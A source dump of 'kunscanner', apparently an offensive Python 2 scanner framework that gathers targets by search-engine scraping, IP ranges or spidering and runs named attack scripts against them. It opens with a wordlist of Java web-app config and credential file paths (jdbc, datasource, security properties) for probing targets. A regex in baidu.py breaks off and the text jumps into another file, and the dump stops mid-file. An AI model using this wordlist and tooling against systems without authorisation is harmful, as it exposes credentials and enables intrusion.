| /WEB-INF/config.xml 263 | /WEB-INF/spring.xml 264 | /WEB-INF/struts-config.xml 265 | /WEB-INF/struts-front-config.xml 266 | /WEB-INF/struts/struts-config.xml 267 | /WEB-INF/classes/spring.xml 268 | /WEB-INF/classes/struts.xml 269 | /WEB-INF/classes/struts_manager.xml 270 | /WEB-INF/classes/conf/datasource.xml 271 | /WEB-INF/classes/data.xml 272 | /WEB-INF/classes/config/applicationContext.xml 273 | /WEB-INF/classes/applicationContext.xml 274 | /WEB-INF/classes/conf/spring/applicationContext-datasource.xml 275 | /WEB-INF/config/db/dataSource.xml 276 | /WEB-INF/spring-cfg/applicationContext.xml 277 | /WEB-INF/dwr.xml 278 | /WEB-INF/classes/hibernate.cfg.xml 279 | /WEB-INF/classes/rabbitmq.xml 280 | /WEB-INF/conf/activemq.xml 281 | /server.xml 282 | /configprops 283 | /WEB-INF/database.properties 284 | /WEB-INF/web.properties 285 | /WEB-INF/log4j.properties 286 | /WEB-INF/classes/dataBase.properties 287 | /WEB-INF/classes/application.properties 288 | /WEB-INF/classes/jdbc.properties 289 | /WEB-INF/classes/db.properties 290 | /WEB-INF/classes/conf/jdbc.properties 291 | /WEB-INF/classes/security.properties 292 | /WEB-INF/conf/database_config.properties 293 | /WEB-INF/config/dbconfig -------------------------------------------------------------------------------- /kunscanner/lib/__init__.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Time : 2018/3/24 下午2:35 3 | # @author : Xmchx 4 | # @File : __init__.py -------------------------------------------------------------------------------- /kunscanner/lib/api/__init__.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Time : 2018/3/24 下午9:41 3 | # @author : Xmchx 4 | # @File : __init__.py -------------------------------------------------------------------------------- /kunscanner/lib/api/baidu.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Time : 2018/5/26 上午11:51 3 | # @author : Xmchx 4 | # @File : baidu.py 5 | 6 | import socket 7 | import re 8 | import requests 9 | import Queue 10 | import threading 11 | from kunscanner.lib.core.exception import APIException 12 | from kunscanner.lib.core.data import conf, args 13 | from kunscanner.lib.utils.utils import GetNetloc 14 | from kunscanner.lib.core.output import OutPutPadding,InfoOutPut2Console 15 | from kunscanner.lib.core.enums import MESSAGE_LEVEL 16 | 17 | class BaiduApi(): 18 | def __init__(self): 19 | if args.max_number != None: 20 | self.max_number = int(args.max_number) 21 | else: 22 | self.max_number = int(conf.BAIDU_MAX_NUMBER) 23 | self.keyword = args.baidu 24 | self.search_url = 'http://www.baidu.com/s?wd={0}&rn=50&pn={1}' 25 | self.regex_url = r'
10: 45 | break 46 | else: 47 | time.sleep(1) 48 | if i < int(conf.SCANNER_WAIT_SPIDER_TIME): 49 | scanner = Scanner(target_loader, script_loader) 50 | scanner.Run() 51 | UpdataSpiderScanInfoToDatabase(scanner.spider_target_list,script_loader) 52 | else: 53 | UpdateCommonScanInfoToDatabase(target_loader, script_loader) 54 | scanner = Scanner(target_loader, script_loader) 55 | scanner.Run() 56 | 57 | InfoOutPut2Console('\n[!] Finish at '+time.strftime("%Y/%m/%d %H:%M:%S", time.localtime())) 58 | 59 | elif args.work_type == WORK_TYPE.INFO: 60 | if args.scanner_mode == SCANNER_MODE.CONSOLE: 61 | if args.search_script != None: 62 | OutPutSearchScriptInfo(self.GetScriptsInfo()) 63 | else: 64 | OutputScriptInfo(self.GetScriptsInfo()) 65 | if args.scanner_mode == SCANNER_MODE.WEB: 66 | script_info_list = [] 67 | for script in self.GetScriptsInfo(): 68 | script_info = {} 69 | script_info['name'] = script['object'].Info()['name'] 70 | script_info['info'] = script['object'].Info()['info'] 71 | script_info['author'] = script['object'].Info()['author'] 72 | script_info['time'] = script['object'].Info()['time'] 73 | script_info['type'] = script['object'].Info()['type'] 74 | script_info['level'] = script['object'].Info()['level'] 75 | script_info['title'] = script['object'].Info()['title'] 76 | script_info_list.append(script_info) 77 | return script_info_list 78 | return None 79 | 80 | 81 | def GetScriptsInfo(self): 82 | script_loader = ScriptLoader() 83 | script_loader.Loader() 84 | return script_loader.script_object_list 85 | 86 | 87 | -------------------------------------------------------------------------------- /kunscanner/lib/core/__init__.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Time : 2018/3/24 下午2:35 3 | # @author : Xmchx 4 | # @File : __init__.py 5 | 6 | import os 7 | from data import path, conf, args 8 | from kunscanner.lib.utils.utils import CheckFileExists,GetConfig 9 | from exception import LoadConfException 10 | from enums import SCANNER_MODE 11 | 12 | 13 | def SetPath(): 14 | path.START_PATH = os.path.dirname(os.path.dirname(os.path.dirname(os.path.dirname(os.path.realpath(__file__))))) 15 | path.ROOT_PATH = os.path.dirname(os.path.dirname(os.path.dirname(os.path.realpath(__file__)))) 16 | path.LIB_PATH = path.ROOT_PATH + '/lib/' 17 | path.DICT_PATH = path.ROOT_PATH + '/dict/' 18 | path.RESULT_PATH = path.ROOT_PATH + '/result/' 19 | path.LOG_PATH = path.ROOT_PATH + '/log/' 20 | path.CONFIG_PATH = path.LIB_PATH + '/config/' 21 | path.SCRIPTS_PATH = path.LIB_PATH + '/scripts/' 22 | 23 | 24 | def SetConfig(): 25 | conf.SAVE_LOG_TO_FILE = 'true' 26 | config_file = 'scanner.conf' 27 | file_path = path.CONFIG_PATH + config_file 28 | if CheckFileExists(file_path) == False: 29 | raise LoadConfException('The {0} file does not exist, The correct path to the file: {1}'.format(config_file, file_path)) 30 | config = GetConfig() 31 | config.read(file_path) 32 | for section in config.sections(): 33 | option = config.items(section) 34 | for opt in option: 35 | conf.__setitem__(opt[0], opt[1]) 36 | 37 | 38 | def SetArgs(args_type,InputOptions): 39 | if args_type == SCANNER_MODE.CONSOLE: 40 | args.update(InputOptions.__dict__) 41 | args.scanner_mode = SCANNER_MODE.CONSOLE 42 | args.scan_args = None 43 | else: 44 | args.update(InputOptions) 45 | args.scanner_mode = SCANNER_MODE.WEB 46 | args.scan_args = InputOptions -------------------------------------------------------------------------------- /kunscanner/lib/core/argsparse.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Time : 2018/3/24 下午4:40 3 | # @author : Xmchx 4 | # @File : argsparse.py 5 | 6 | import uuid 7 | import datetime 8 | from data import args, conf 9 | from enums import TARGET_TYPE, API_TYPE, SCRIPT_TYPE, SAVE_DATA_TYPE, SCANNER_MODE, WORK_TYPE 10 | from exception import ArgsException 11 | 12 | def SetOptions(): 13 | ''' 14 | 设置目标 15 | ''' 16 | if args.url != None: 17 | args.scan_type = TARGET_TYPE.SINGLE_URL 18 | args.user_input_target = args.url 19 | 20 | elif args.target_file != None: 21 | args.scan_type = TARGET_TYPE.TARGET_FILE 22 | args.user_input_target = args.target_file 23 | 24 | elif args.ip_segment != None: 25 | args.scan_type = TARGET_TYPE.IPS 26 | args.user_input_target = args.ip_segment 27 | 28 | elif args.spider_init_url != None: 29 | args.scan_type = TARGET_TYPE.SPIDER 30 | args.user_input_target = args.spider_init_url 31 | 32 | elif args.zoomeye != None: 33 | args.scan_type = TARGET_TYPE.API 34 | args.api_type = API_TYPE.ZOOMEYE 35 | args.user_input_target = args.zoomeye 36 | elif args.baidu != None: 37 | args.scan_type = TARGET_TYPE.API 38 | args.api_type = API_TYPE.BAIDU 39 | args.user_input_target = args.baidu 40 | elif args.subdomain != None: 41 | args.scan_type = TARGET_TYPE.API 42 | args.api_type = API_TYPE.SUBDOMAIN 43 | args.user_input_target = args.subdomain 44 | else: 45 | args.scan_type = None 46 | ''' 47 | 设置脚本加载方式 48 | ''' 49 | if args.custom_scripts != None: 50 | args.script_type = SCRIPT_TYPE.CUSTOM_SCRIPT 51 | 52 | elif args.all_scripts == True: 53 | args.script_type = SCRIPT_TYPE.ALL_SCRIPT 54 | 55 | else: 56 | args.script_type = None 57 | ''' 58 | 设置存储方式 59 | ''' 60 | if conf.SAVE_RESULT_TO_FILE == 'true' and conf.SAVE_RESULT_TO_DATABASE == 'true': 61 | conf.SAVE_TYPE = SAVE_DATA_TYPE.ALL 62 | 63 | elif conf.SAVE_RESULT_TO_FILE == 'true': 64 | conf.SAVE_TYPE = SAVE_DATA_TYPE.FILE 65 | 66 | elif conf.SAVE_RESULT_TO_DATABASE == 'true': 67 | conf.SAVE_TYPE = SAVE_DATA_TYPE.DATABASE 68 | 69 | elif conf.SAVE_RESULT_TO_FILE == 'false' and conf.SAVE_RESULT_TO_DATABASE == 'false': 70 | conf.SAVE_TYPE = SAVE_DATA_TYPE.NO_OUTPUT 71 | ''' 72 | 设置任务信息 73 | ''' 74 | if args.scanner_mode == SCANNER_MODE.CONSOLE: 75 | if conf.SAVE_TYPE == SAVE_DATA_TYPE.DATABASE or conf.SAVE_TYPE == SAVE_DATA_TYPE.ALL: 76 | args.task_id = str(uuid.uuid1()) 77 | if args.task_name == None: 78 | now_time = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S') 79 | args.task_name = now_time 80 | ''' 81 | 设置数据库方式 82 | ''' 83 | if args.scanner_mode == SCANNER_MODE.WEB or conf.SAVE_TYPE == SAVE_DATA_TYPE.DATABASE or conf.SAVE_TYPE == SAVE_DATA_TYPE.ALL: 84 | args.use_database = True 85 | else: 86 | args.use_database = False 87 | ''' 88 | 检查是否设置目标和脚本 89 | ''' 90 | if args.scan_type != None and args.script_type == None: 91 | raise ArgsException('Please enter the attack script. E.g: --script "struts2*"') 92 | ''' 93 | 设定输入命令为扫描还是其他 94 | ''' 95 | if args.scan_type != None and args.script_type != None: 96 | args.work_type = WORK_TYPE.SCAN 97 | 98 | elif args.custom_scripts_info != None or args.all_scripts_info == True or args.search_script != None: 99 | args.work_type = WORK_TYPE.INFO 100 | if args.custom_scripts_info != None: 101 | args.custom_scripts = args.custom_scripts_info 102 | args.script_type = SCRIPT_TYPE.CUSTOM_SCRIPT 103 | elif args.all_scripts_info == True: 104 | args.script_type = SCRIPT_TYPE.ALL_SCRIPT 105 | elif args.search_script != None: 106 | args.script_type = SCRIPT_TYPE.ALL_SCRIPT 107 | 108 | 109 | -------------------------------------------------------------------------------- /kunscanner/lib/core/common.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Time : 2018/3/24 下午2:41 3 | # @author : Xmchx 4 | # @File : common.py 5 | 6 | import os 7 | import sys 8 | import platform 9 | from data import conf 10 | from enums import SYSTEM_TYPE 11 | 12 | def GetSystemType(): 13 | system = platform.system() 14 | if system == 'Windows': 15 | conf.SYSTEM_TYPE = SYSTEM_TYPE.WINDOWS 16 | elif system == 'Linux': 17 | conf.SYSTEM_TYPE = SYSTEM_TYPE.LINUX 18 | else: 19 | conf.SYSTEM_TYPE = SYSTEM_TYPE.UNKNOWN 20 | 21 | def SysQuit(quit_type = 0): 22 | if quit_type == 0: 23 | sys.exit() 24 | else: 25 | os._exit(0) 26 | 27 | def LoadDict(file_path): 28 | data = [] 29 | with open(file_path,'r') as f: 30 | fdata = f.readlines() 31 | for line in fdata: 32 | if line: 33 | data.append(line.strip()) 34 | return data 35 | 36 | def Encode(msg): 37 | if isinstance(msg, unicode): 38 | try: 39 | msg = msg.encode(sys.stdout.encoding) 40 | except: 41 | msg = msg 42 | else: 43 | msg = msg 44 | return msg 45 | 46 | 47 | 48 | 49 | -------------------------------------------------------------------------------- /kunscanner/lib/core/data.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Time : 2018/3/24 下午2:38 3 | # @author : Xmchx 4 | # @File : data.py 5 | 6 | from datatype import AttribDict 7 | 8 | ''' 9 | 初始化所有相关文件的path 10 | ''' 11 | path = AttribDict() 12 | 13 | ''' 14 | #初始化所有配置 15 | ''' 16 | conf = AttribDict() 17 | 18 | ''' 19 | 初始化命令行参数 20 | ''' 21 | args = AttribDict() -------------------------------------------------------------------------------- /kunscanner/lib/core/database.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Time : 2018/3/24 下午6:41 3 | # @author : Xmchx 4 | # @File : database.py 5 | 6 | from data import args 7 | from models import Task,Result,Status,Vuln, ConnectDatabase 8 | from enums import TARGET_TYPE,STATUS 9 | import json 10 | import hashlib 11 | from exception import DatabaseException 12 | 13 | def CheckDatabase(): 14 | return ConnectDatabase() 15 | 16 | 17 | 18 | def SaveTaskToDatabase(): 19 | if args.use_database == False: 20 | return 21 | if args.scan_type == TARGET_TYPE.API: 22 | target_type = args.scan_type + ' ' + args.api_type 23 | else: 24 | target_type = args.scan_type 25 | try: 26 | Task( 27 | task_id=args.task_id, 28 | task_name=args.task_name, 29 | short_target=args.user_input_target, 30 | scan_mode=args.scanner_mode, 31 | target_type=target_type, 32 | script_type=args.script_type, 33 | ).save() 34 | 35 | Result( 36 | task_id=args.task_id, 37 | result='', 38 | high_count = 0, 39 | medium_count = 0, 40 | low_count = 0 41 | ).save() 42 | except Exception,e: 43 | raise DatabaseException(repr(e)) 44 | 45 | 46 | def UpdataSpiderScanInfoToDatabase(target_list,script_loader): 47 | if args.use_database == False: 48 | return 49 | script_list = [] 50 | try: 51 | for script in script_loader.script_object_list: 52 | script_list.append(script['name']) 53 | if Task.objects(task_id = args.task_id).count(): 54 | task = Task.objects(task_id=args.task_id) 55 | task.update( 56 | full_target=json.dumps(target_list), 57 | target_number=str(len(target_list)), 58 | script_info=json.dumps(script_list) 59 | ) 60 | except Exception,e: 61 | raise DatabaseException(repr(e)) 62 | 63 | def UpdateCommonScanInfoToDatabase(target_loader,script_loader): 64 | if args.use_database == False: 65 | return 66 | script_list = [] 67 | try: 68 | for script in script_loader.script_object_list: 69 | script_list.append(script['name']) 70 | if Task.objects(task_id = args.task_id).count(): 71 | task = Task.objects(task_id = args.task_id) 72 | task.update( 73 | full_target = json.dumps(target_loader.domain_list), 74 | target_number = str(len(target_loader.domain_list)), 75 | script_info = json.dumps(script_list) 76 | ) 77 | except Exception,e: 78 | raise DatabaseException(repr(e)) 79 | 80 | def UpdateStatus(): 81 | if args.use_database == False: 82 | return 83 | try: 84 | if Status.objects(task_id=args.task_id).count(): 85 | status = Status.objects(task_id=args.task_id).first() 86 | status.update(status=STATUS.RUN) 87 | else: 88 | try: 89 | Status( 90 | task_id=args.task_id, 91 | task_name=args.task_name, 92 | warning='', 93 | progress='0', 94 | status=STATUS.RUN 95 | ).save() 96 | except Exception,e: 97 | if 'duplicate key' in e: 98 | pass 99 | except Exception,e: 100 | raise DatabaseException(repr(e)) 101 | 102 | 103 | def SaveWarningToDatabase(data): 104 | if args.use_database == False: 105 | return 106 | try: 107 | status = Status.objects(task_id = args.task_id) 108 | status.update(warning = data) 109 | except Exception,e: 110 | raise DatabaseException(repr(e)) 111 | 112 | 113 | 114 | def SaveProgressToDatabase(data): 115 | if args.use_database == False: 116 | return 117 | try: 118 | status = Status.objects(task_id = args.task_id) 119 | status.update(progress = data) 120 | except Exception,e: 121 | raise DatabaseException(repr(e)) 122 | 123 | 124 | def SaveStatusToDatabase(data): 125 | if args.use_database == False: 126 | return 127 | try: 128 | status = Status.objects(task_id = args.task_id) 129 | status.update(status = data) 130 | except Exception,e: 131 | raise DatabaseException(repr(e)) 132 | 133 | 134 | ''' 135 | 扫描任务最终结果的格式 136 | [{ 137 | "target": "127.0.0.1", 138 | "result": [{ 139 | "items": { 140 | "test1": "test1", 141 | "test2": "test2", 142 | "test3": "" 143 | }, 144 | "script_name": "web_info", 145 | "script_type": "info" 146 | }, { 147 | "message": "", 148 | "script_name": "redis_unauth", 149 | "script_type": "attack" 150 | }] 151 | }, { 152 | "target": "127.0.0.2", 153 | "result": [{ 154 | "items": { 155 | "test1": "test1", 156 | "test2": "test2", 157 | "test3": "" 158 | }, 159 | "script_name": "web_info", 160 | "script_type": "info" 161 | }] 162 | }] 163 | ''' 164 | 165 | 166 | def SaveResultToDatabase(data): 167 | if args.use_database == False: 168 | return 169 | if not len(data['result']): 170 | return 171 | try: 172 | result = Result.objects(task_id = args.task_id) 173 | result.update( 174 | result = json.dumps(data['result']), 175 | high_count = data['high_count'], 176 | medium_count = data['medium_count'], 177 | low_count = data['low_count']) 178 | for each in data['result']: 179 | for script in each['result']: 180 | if script['script_type'] == 'attack': 181 | vuln_id = hashlib.md5(each['target'] + script['script_name']).hexdigest() 182 | if Vuln.objects(vuln_id=vuln_id).count() == 0: 183 | Vuln( 184 | task_id=args.task_id, 185 | vuln_id=vuln_id, 186 | target=each['target'], 187 | script=hashlib.md5(script['script_name']).hexdigest(), 188 | message=script['message'], 189 | script_type=script['script_type'] 190 | ).save() 191 | else: 192 | vuln = Vuln.objects(vuln_id=vuln_id).first() 193 | vuln.update(task_id=args.task_id,target=each['target'],script=hashlib.md5(script['script_name']).hexdigest(), 194 | message=script['message'],script_type=script['script_type']) 195 | elif script['script_type'] == 'info': 196 | vuln_id = hashlib.md5(each['target'] + script['script_name']).hexdigest() 197 | if Vuln.objects(vuln_id=vuln_id).count() == 0: 198 | Vuln( 199 | task_id=args.task_id, 200 | vuln_id=vuln_id, 201 | target=each['target'], 202 | script=hashlib.md5(script['script_name']).hexdigest(), 203 | message=json.dumps(script['items']), 204 | script_type = script['script_type'] 205 | ).save() 206 | else: 207 | vuln = Vuln.objects(vuln_id = vuln_id).first() 208 | vuln.update(task_id=args.task_id,target=each['target'],script=hashlib.md5(script['script_name']).hexdigest(), 209 | message=json.dumps(script['items']),script_type=script['script_type'] 210 | ) 211 | except Exception,e: 212 | raise DatabaseException(repr(e)) -------------------------------------------------------------------------------- /kunscanner/lib/core/datatype.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Time : 2018/3/24 下午2:38 3 | # @author : Xmchx 4 | # @File : datatype.py 5 | 6 | import copy 7 | import types 8 | 9 | class AttribDict(dict): 10 | 11 | def __init__(self, indict=None, attribute=None): 12 | if indict is None: 13 | indict = {} 14 | 15 | self.attribute = attribute 16 | dict.__init__(self, indict) 17 | self.__initialised = True 18 | 19 | 20 | def __getattr__(self, item): 21 | try: 22 | return self.__getitem__(item) 23 | except KeyError: 24 | raise AttributeError("unable to access item '%s'" % item) 25 | 26 | def __setattr__(self, item, value): 27 | if "_AttribDict__initialised" not in self.__dict__: 28 | return dict.__setattr__(self, item, value) 29 | 30 | elif item in self.__dict__: 31 | dict.__setattr__(self, item, value) 32 | 33 | else: 34 | self.__setitem__(item, value) 35 | 36 | def __getstate__(self): 37 | return self.__dict__ 38 | 39 | def __setstate__(self, dict): 40 | self.__dict__ = dict 41 | 42 | def __deepcopy__(self, memo): 43 | retVal = self.__class__() 44 | memo[id(self)] = retVal 45 | 46 | for attr in dir(self): 47 | if not attr.startswith('_'): 48 | value = getattr(self, attr) 49 | if not isinstance(value, (types.BuiltinFunctionType, types.FunctionType, types.MethodType)): 50 | setattr(retVal, attr, copy.deepcopy(value, memo)) 51 | 52 | for key, value in self.items(): 53 | retVal.__setitem__(key, copy.deepcopy(value, memo)) 54 | 55 | return retVal -------------------------------------------------------------------------------- /kunscanner/lib/core/enums.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Time : 2018/3/24 下午2:34 3 | # @author : Xmchx 4 | # @File : enums.py 5 | 6 | 7 | class SCANNER_MODE: 8 | WEB = 'web' 9 | CONSOLE = 'console' 10 | 11 | class SYSTEM_TYPE: 12 | WINDOWS = 'windows' 13 | LINUX = 'linux' 14 | UNKNOWN = 'unknown' 15 | 16 | class MESSAGE_LEVEL: 17 | STATUS_LEVEL = 0 18 | INFO_LEVEL = 1 19 | WARNING_LEVEL = 2 20 | ERROR_LEVEL = 3 21 | 22 | 23 | class LOG_DEFAULT_LEN: 24 | INFO = 27 25 | WARNING = 30 26 | ERROR = 28 27 | 28 | 29 | class TARGET_TYPE: 30 | SINGLE_URL = 'url' 31 | TARGET_FILE = 'file' 32 | IPS = 'ip segment' 33 | SPIDER = 'spider' 34 | API = 'api' 35 | 36 | class API_TYPE: 37 | ZOOMEYE = 'zoomeye' 38 | BAIDU = 'baidu' 39 | SUBDOMAIN = 'subDomainsBrute' 40 | 41 | class SCRIPT_TYPE: 42 | CUSTOM_SCRIPT = "custom script" 43 | ALL_SCRIPT = "all script" 44 | 45 | class SAVE_DATA_TYPE: 46 | FILE = 0 47 | DATABASE = 1 48 | ALL = 2 49 | NO_OUTPUT = 3 50 | 51 | class IPS_TYPE: 52 | SUBNETMASK = 1 53 | IPS = 2 54 | 55 | class API_LOGIN_TYPE: 56 | PASSWORD = 0 57 | ACCESS_TOKEN = 1 58 | 59 | class EXCEPYION_POSITION: 60 | SPIDER = 0 61 | SCANNER = 1 62 | API = 2 63 | 64 | class SPIDER_TYPE: 65 | DEPTH_SPIDER = 1 66 | NUMBER_SPIDER = 2 67 | 68 | class WORK_TYPE: 69 | SCAN = 'scan' 70 | INFO = 'info' 71 | 72 | class STATUS: 73 | WAIT = 'Waiting' 74 | RUN = 'Running' 75 | FINISH = 'Finish' 76 | FAIL = 'Failed' 77 | 78 | class SCRIPT_LEVEL: 79 | HIGH = 'high' 80 | MEDIUM = 'medium' 81 | LOW = 'low' 82 | 83 | -------------------------------------------------------------------------------- /kunscanner/lib/core/exception.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Time : 2018/3/24 下午3:46 3 | # @author : Xmchx 4 | # @File : exception.py 5 | 6 | from enums import MESSAGE_LEVEL, EXCEPYION_POSITION, STATUS 7 | from output import OutPutPadding,InfoOutPut2Console,WriteLogToFile 8 | from common import Encode 9 | 10 | class LoadConfException(Exception): 11 | def __init__(self,message): 12 | message = Encode(message) 13 | msg = OutPutPadding(message,MESSAGE_LEVEL.ERROR_LEVEL) 14 | InfoOutPut2Console(msg,MESSAGE_LEVEL.ERROR_LEVEL) 15 | WriteLogToFile(msg,MESSAGE_LEVEL.ERROR_LEVEL) 16 | 17 | 18 | class PocWarningException(Exception): 19 | def __init__(self,target,script,exception): 20 | target = Encode(target) 21 | script = Encode(script) 22 | exception = Encode(exception) 23 | warning_msg = "Warning in scanner! target: {0} poc: {1} msg: {2}" 24 | message = warning_msg.format(target,script,exception) 25 | msg = OutPutPadding(message,MESSAGE_LEVEL.WARNING_LEVEL) 26 | InfoOutPut2Console(msg,MESSAGE_LEVEL.WARNING_LEVEL) 27 | WriteLogToFile(msg,MESSAGE_LEVEL.WARNING_LEVEL) 28 | 29 | class PocErrorException(Exception): 30 | def __init__(self,message): 31 | message = Encode(message) 32 | msg = OutPutPadding(message,MESSAGE_LEVEL.ERROR_LEVEL) 33 | InfoOutPut2Console(msg,MESSAGE_LEVEL.ERROR_LEVEL) 34 | WriteLogToFile(msg,MESSAGE_LEVEL.ERROR_LEVEL) 35 | from database import SaveWarningToDatabase, SaveStatusToDatabase 36 | SaveStatusToDatabase(STATUS.FAIL) 37 | SaveWarningToDatabase(message) 38 | 39 | 40 | class ArgsException(Exception): 41 | def __init__(self,message): 42 | message = Encode(message) 43 | msg = OutPutPadding(message,MESSAGE_LEVEL.ERROR_LEVEL) 44 | InfoOutPut2Console(msg,MESSAGE_LEVEL.ERROR_LEVEL) 45 | WriteLogToFile(msg,MESSAGE_LEVEL.ERROR_LEVEL) 46 | from database import SaveProgressToDatabase, SaveWarningToDatabase, SaveStatusToDatabase 47 | SaveStatusToDatabase(STATUS.FAIL) 48 | SaveProgressToDatabase('0') 49 | SaveWarningToDatabase(message) 50 | 51 | class DatabaseException(Exception): 52 | def __init__(self,message): 53 | message = Encode(message) 54 | msg = OutPutPadding(message,MESSAGE_LEVEL.ERROR_LEVEL) 55 | InfoOutPut2Console(msg,MESSAGE_LEVEL.ERROR_LEVEL) 56 | WriteLogToFile(msg,MESSAGE_LEVEL.ERROR_LEVEL) 57 | 58 | 59 | class APIException(Exception): 60 | def __init__(self,message): 61 | message = Encode(message) 62 | msg = OutPutPadding(message,MESSAGE_LEVEL.ERROR_LEVEL) 63 | InfoOutPut2Console(msg,MESSAGE_LEVEL.ERROR_LEVEL) 64 | WriteLogToFile(msg,MESSAGE_LEVEL.ERROR_LEVEL) 65 | from database import SaveProgressToDatabase, SaveWarningToDatabase, SaveStatusToDatabase 66 | SaveStatusToDatabase(STATUS.FAIL) 67 | SaveProgressToDatabase('0') 68 | SaveWarningToDatabase(message) 69 | 70 | 71 | class RequestsException(): 72 | def __init__(self,exception,position,error_level,target,script = None): 73 | self.exception = Encode(repr(exception)) 74 | self.position = Encode(position) 75 | self.target = Encode(target) 76 | self.script = Encode(script) 77 | self.error_level = Encode(error_level) 78 | if 'ConnectionError' in self.exception: 79 | self.OutPutMessage('ConnectionError') 80 | if 'ConnectTimeout' in self.exception or 'ReadTimeout' in self.exception: 81 | self.OutPutMessage('ConnectTimeout') 82 | 83 | def OutPutMessage(self,exception): 84 | spider_exception_msg = 'Target: {0} exception: {1}' 85 | scanner_exception_msg = 'Target: {0} script: {1} exception: {2}' 86 | api_exception_msg = 'Connect API error exception: {0}' 87 | if self.position == EXCEPYION_POSITION.SPIDER: 88 | msg = OutPutPadding(spider_exception_msg.format(self.target,exception),self.error_level) 89 | InfoOutPut2Console(msg,self.error_level) 90 | WriteLogToFile(msg,self.error_level) 91 | elif self.position == EXCEPYION_POSITION.SCANNER: 92 | msg = OutPutPadding(scanner_exception_msg.format(self.target,self.script,exception),self.error_level) 93 | InfoOutPut2Console(msg,self.error_level) 94 | WriteLogToFile(msg,self.error_level) 95 | elif self.position == EXCEPYION_POSITION.API: 96 | msg = OutPutPadding(api_exception_msg.format(exception),self.error_level) 97 | InfoOutPut2Console(msg,self.error_level) 98 | WriteLogToFile(msg,self.error_level) -------------------------------------------------------------------------------- /kunscanner/lib/core/info.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Time : 2018/3/28 下午1:50 3 | # @author : Xmchx 4 | # @File : info.py 5 | 6 | import os 7 | from data import path 8 | 9 | def Banner(): 10 | Banner = """ 11 | __ 12 | / /__ __ __ ____ 13 | / //_// / / // __ \\ 14 | / ,< / /_/ // / / / author: {0} version: {1} 15 | /_/|_| \__,_//_/ /_/ update time: {2} scripts number: {3} 16 | """ 17 | 18 | update_time = '2018.05.26' 19 | script_number = ScriptsNumber() 20 | author = 'Xmchx' 21 | version = 'v1.2' 22 | 23 | return Banner.format(author,version,update_time,script_number) 24 | 25 | def ScriptsNumber(): 26 | count = 0 27 | for (root, dirs, files) in os.walk(path.SCRIPTS_PATH): 28 | for f in files: 29 | if f.split('.')[1] == 'py' and f.split('.')[0] != '__init__': 30 | count += 1 31 | return count 32 | 33 | 34 | -------------------------------------------------------------------------------- /kunscanner/lib/core/loader.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Time : 2018/3/24 下午8:05 3 | # @author : Xmchx 4 | # @File : loader.py 5 | 6 | from data import args,conf,path 7 | from output import InfoOutPut2Console,OutPutPadding 8 | from enums import TARGET_TYPE,MESSAGE_LEVEL,IPS_TYPE,API_TYPE,SCRIPT_TYPE,SCANNER_MODE,WORK_TYPE 9 | from common import SysQuit 10 | import multiprocessing 11 | import urlparse 12 | from exception import ArgsException,APIException 13 | import IPy 14 | import re 15 | import os 16 | from kunscanner.lib.api.zoomeye import ZoomeyeApi 17 | from kunscanner.lib.api.baidu import BaiduApi 18 | from kunscanner.lib.api.subDomainsBrute import SubDomainsBruteApi 19 | from spider import DomainSpider 20 | import imp 21 | 22 | class TargetLoader(): 23 | 24 | def Loader(self): 25 | target_type_msg = 'Scan type: {0}' 26 | target_number_msg = 'Target number: {0}' 27 | api_type_msg = 'API type: {0}' 28 | if args.scan_type == TARGET_TYPE.SINGLE_URL: 29 | msg = OutPutPadding(target_type_msg.format('URL'), MESSAGE_LEVEL.INFO_LEVEL) 30 | InfoOutPut2Console(msg, MESSAGE_LEVEL.INFO_LEVEL) 31 | self.domain_list = [] 32 | self.LoadSingleTarget() 33 | msg = OutPutPadding(target_number_msg.format(str(len(self.domain_list))), MESSAGE_LEVEL.INFO_LEVEL) 34 | InfoOutPut2Console(msg, MESSAGE_LEVEL.INFO_LEVEL) 35 | if args.scan_type == TARGET_TYPE.TARGET_FILE: 36 | msg = OutPutPadding(target_type_msg.format('FILE'), MESSAGE_LEVEL.INFO_LEVEL) 37 | InfoOutPut2Console(msg, MESSAGE_LEVEL.INFO_LEVEL) 38 | self.domain_list = [] 39 | self.LoadFileTarget() 40 | msg = OutPutPadding(target_number_msg.format(str(len(self.domain_list))), MESSAGE_LEVEL.INFO_LEVEL) 41 | InfoOutPut2Console(msg, MESSAGE_LEVEL.INFO_LEVEL) 42 | if args.scan_type == TARGET_TYPE.IPS: 43 | msg = OutPutPadding(target_type_msg.format('IP'), MESSAGE_LEVEL.INFO_LEVEL) 44 | InfoOutPut2Console(msg, MESSAGE_LEVEL.INFO_LEVEL) 45 | self.domain_list = [] 46 | self.LoadIpsTarget() 47 | msg = OutPutPadding(target_number_msg.format(str(len(self.domain_list))), MESSAGE_LEVEL.INFO_LEVEL) 48 | InfoOutPut2Console(msg, MESSAGE_LEVEL.INFO_LEVEL) 49 | if args.scan_type == TARGET_TYPE.SPIDER: 50 | self.domain_queue = multiprocessing.Queue() 51 | msg = OutPutPadding(target_type_msg.format('SPIDER'), MESSAGE_LEVEL.INFO_LEVEL) 52 | InfoOutPut2Console(msg, MESSAGE_LEVEL.INFO_LEVEL) 53 | spider_init_domain_msg = 'Spider init domain: {0}' 54 | msg = OutPutPadding(spider_init_domain_msg.format(args.spider_init_url), MESSAGE_LEVEL.INFO_LEVEL) 55 | InfoOutPut2Console(msg, MESSAGE_LEVEL.INFO_LEVEL) 56 | self.LoadSpiderTarget() 57 | if args.scan_type == TARGET_TYPE.API: 58 | self.domain_list = [] 59 | msg = OutPutPadding(target_type_msg.format('API'), 